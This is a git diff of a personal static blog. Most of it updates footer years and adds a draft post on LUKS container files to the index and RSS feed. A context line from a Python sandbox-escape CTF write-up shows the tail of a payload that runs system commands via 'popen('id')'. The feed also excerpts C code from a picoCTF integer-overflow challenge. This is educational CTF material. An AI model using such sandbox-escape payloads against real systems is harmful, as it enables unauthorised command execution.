</span></span></code></pre></div><p>With this new function, our parser correctly unescapes the keys like so:</p><pre tabindex=0><code>Binding [Modifier(&#34;super&#34;), Key { key: &#34;+&#34;, attribute: KeyAttribute(0x0) }] → mpv ~/Music
@@ -51,4 +51,4 @@ the next post because fixing this bug and keeping logs of why I did it felt more
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><span></span><span>Modeling More Realistic Keybinds With Modifiers</span></a>
<a href=https://lavafroth.is-a.dev/post/timing-is-key/><span>Timing is Key: A Tale of Keystrokes and Timings</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/timing-is-key/><span>Timing is Key: A Tale of Keystrokes and Timings</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -106,4 +106,4 @@ of them, thereby executing the system commands.</p><div class=highlight><pre tab
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>popen(<span style=color:#e6db74>&#39;id&#39;</span>)<span style=color:#f92672>.</span>read()
</span></span></code></pre></div><p>There you have it! This payload will work as long as there is at least one subclass in the subclasses list
which makes use of <code>sys</code>. With that, our object oriented quest has come to an end.</p><p>Thanks for giving this a read!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span></span><span>Notepad</span></a><br></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span></span><span>Notepad</span></a><br></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -42,4 +42,4 @@ same file read independent of the <code>sys</code> module.</p><div class=highlig
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/ast class=list-tag>AST</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><span></span><span>Pixelated</span></a>
<a href=https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/><span>I Saw a Little Elf</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/><span>I Saw a Little Elf</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -139,4 +139,4 @@ We also allocate a list of 61 <code>None</code> singletons since the program exi
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><span></span><span>Abstracting Structured Patterns in Concurrent Programming</span></a>
<a href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><span>Compact XOR</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><span>Compact XOR</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -40,4 +40,4 @@ my videos. Bye!</p></section><footer class=post-tags data-pagefind-meta=tags><a
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
<a href=https://lavafroth.is-a.dev/tags/video-editing class=list-tag>Video Editing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/><span></span><span>Painlessly setting up ML tooling on NixOS</span></a>
<a href=https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/><span>Polishing and Bugfix Week</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/><span>Polishing and Bugfix Week</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -51,4 +51,4 @@ commands in the code side of this endeavor. See you around.</p></section><footer
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/><span></span><span>Polishing and Bugfix Week</span></a>
<a href=https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/><span>Preventing Infinite Recursions From Eating Your Lunch</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/><span>Preventing Infinite Recursions From Eating Your Lunch</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -52,4 +52,4 @@ or System76. I just like what they are doing and I recommend saving up a bit to
<a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
<a href=https://lavafroth.is-a.dev/tags/laptops class=list-tag>Laptops</a>
<a href=https://lavafroth.is-a.dev/tags/kernel-modules class=list-tag>Kernel Modules</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/><span></span><span>Modes, Unbinds and Other Ensembled Parser Patterns</span></a>
<a href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><span>Modeling More Realistic Keybinds With Modifiers</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><span>Modeling More Realistic Keybinds With Modifiers</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -26,4 +26,4 @@ The whole learning experience as well as daily driving NixOS has been very enjoy
to get started. Once you have a rough idea, you could check out <a href=https://github.com/lavafroth/dotfiles>my own NixOS configuration files</a>. Maybe you can incorporate a part of the config you find interesting into your own.</p><p>Happy Nixing!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/><span></span><span>Waiting an Eternity</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/><span>Twosum</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/><span>Twosum</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -167,4 +167,4 @@ this differently by shooting me an email!</p><p>Bye now.</p></section><footer cl
<a href=https://lavafroth.is-a.dev/tags/bioinformatics class=list-tag>Bioinformatics</a>
<a href=https://lavafroth.is-a.dev/tags/linear-algebra class=list-tag>Linear Algebra</a>
<a href=https://lavafroth.is-a.dev/tags/remainder-theorem class=list-tag>Remainder Theorem</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/><span></span><span>Need a hand?</span></a>
<a href=https://lavafroth.is-a.dev/post/project-mana-demo/><span>Building an in-browser Manim clone</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/project-mana-demo/><span>Building an in-browser Manim clone</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../pagefind/pagefind-ui.css rel=stylesheet><script src=../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../pagefind/pagefind-ui.css rel=stylesheet><script src=../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><h2>Working With LUKS File Stashes</h2></a><time>Jan 1, 2026 | 2 minutes read</time><br><a class=post-link aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/></a></article><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/decorators class=list-tag>Decorators</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a>
@@ -38,11 +38,5 @@
<a href=https://lavafroth.is-a.dev/tags/automation class=list-tag>Automation</a>
<a href=https://lavafroth.is-a.dev/tags/jellyfin class=list-tag>Jellyfin</a>
<a href=https://lavafroth.is-a.dev/tags/photoprism class=list-tag>Photoprism</a>
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><nav data-main><a href=#>Previous Page</a>
<a href=../post/page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><nav data-main><a href=#>Previous Page</a>
<a href=../post/page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,10 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on lavafroth</title><link>https://lavafroth.is-a.dev/post/</link><description>Recent content in Posts on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 02 Nov 2025 19:08:46 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/post/index.xml" rel="self" type="application/rss+xml"/><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description>&lt;p&gt;University has compelled me to use Python despite my preference for Rust,
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on lavafroth</title><link>https://lavafroth.is-a.dev/post/</link><description>Recent content in Posts on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Thu, 01 Jan 2026 07:24:36 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/post/index.xml" rel="self" type="application/rss+xml"/><item><title>Working With LUKS File Stashes</title><link>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</link><pubDate>Thu, 01 Jan 2026 07:24:36 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</guid><description>&lt;p&gt;&lt;code&gt;THIS POST IS A DRAFT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;LUKS is an incredible solution for encrypting entire partitions in Linux.
Often times, however, we can&amp;rsquo;t afford to create new partitions inside a disk
without having to completely format the drive anew.&lt;/p&gt;
&lt;p&gt;In this post, I will guide you through the process of creating and working
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;</description></item><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description>&lt;p&gt;University has compelled me to use Python despite my preference for Rust,
primarily due to the machine learning and data science hype. One
Rust feature that I dearly miss is enumerable data types
that can encapsulate various other data types.&lt;/p&gt;
@@ -649,7 +655,7 @@ easy to setup Arch for gaming, thanks to programs like &lt;a href="https://lutri
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; a &lt;span style="color:#f92672"&gt;+&lt;/span&gt; b;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(a &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; b &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; result &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)

View File

@@ -67,4 +67,4 @@ attributes that describe the timing of a keypress and how we handle the grammar
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/timing-is-key/><span></span><span>Timing is Key: A Tale of Keystrokes and Timings</span></a>
